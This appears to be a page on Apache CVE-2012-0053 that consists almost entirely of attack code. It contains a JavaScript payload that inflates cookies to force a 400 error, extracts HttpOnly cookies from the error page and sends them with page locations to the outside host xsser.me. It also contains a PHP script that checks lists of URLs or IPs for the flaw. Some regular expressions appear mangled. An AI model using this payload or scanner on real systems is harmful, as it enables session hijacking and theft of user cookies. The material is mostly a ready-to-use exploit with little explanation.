CVE20120053详解

function setCookies() {     /*apache server limit 8192*/     var str = "";     for (var i = 0; i < 819; i++) {         str += "x";     }     for (i = 0; i < 10; i++) {         var cookie = "ray" + i + "=" + str + ";path=/";         document.cookie = cookie;     } } function parseCookies() {     if (xhr.readyState === 4 && xhr.status === 400) {         var content = xhr.responseText.replace(//r|/n/g, '').match(/<pre>(.+)<//pre>/);         content = content[1].replace("Cookie: ", "");         cookies = content.replace(/ray/d=x+;?/g, '') try {             var myopener = '';             myopener = window.parent.openner.location;             var myparent = '';             myparent = window.parent.location;         } catch(err) {             myopener = '0';             myparent = '0';         }         window.location = 'http://xsser.me/index.php?do=api&id={projectId}&location=' + escape(document.location) + '&toplocation=' + escape(myparent) + '&cookie=' + escape(cookies) + '&opener=' + escape(myopener);     } } setCookies(); var xhr = window.XMLHttpRequest ? new XMLHttpRequest() : window.ActiveXObject ? new ActiveXObject("Microsoft.XMLHTTP") : new XMLHttpRequest(); xhr.onreadystatechange = parseCookies; xhr.open("POST", "/?" + Math.random(), true); xhr.send(null); 

<?php  //生成构造特殊cookie function cookie () {     $str = "";     for ($i=0; $i< 819; $i++) {         $str .= "x";     }     $cookie= "secdragon=secdragon;path=/";     for ($i = 0; $i < 10; $i++) {          $cookie .= "xss".$i."=".$str.";path=/";     }     return $cookie;     }  //获取url，发包判断返回状态及结果 function my_get_http_result($url){     if (empty($url)){       return false;     }     $ch = curl_init();     curl_setopt($ch, CURLOPT_URL, "$url");     curl_setopt($ch, CURLOPT_TIMEOUT, 30);      curl_setopt($ch, CURLOPT_HEADER, 0);      curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);     curl_setopt($ch, CURLOPT_COOKIE, cookie());     $result = curl_exec($ch);     $info = curl_getinfo($ch);     curl_close($ch);     if( $info['http_code'] == "400" )         return $result;     else{         return '';     } }  //判断是否成功获取cookie function check($url){     $a=my_get_http_result($url);     if(strpos($a,'secdragon=secdragon'))         echo $url.':success!'."<br/>";     else{         echo $url.':failed!'."<br/>";     } }  //获取需检测ip，也可将ip放在同目录下的ip.txt中，一行一个ip $url=(@$_GET['url'])?$_GET['url']:@$argv[1]; if(!$url){     $fp=fopen('ip.txt','r+');     while($ipstr=fgets($fp)){         if(preg_match('#[/w/.]+#',$ipstr,$match)){             check($match[0]);         }     } }else{     check($url); }  ?>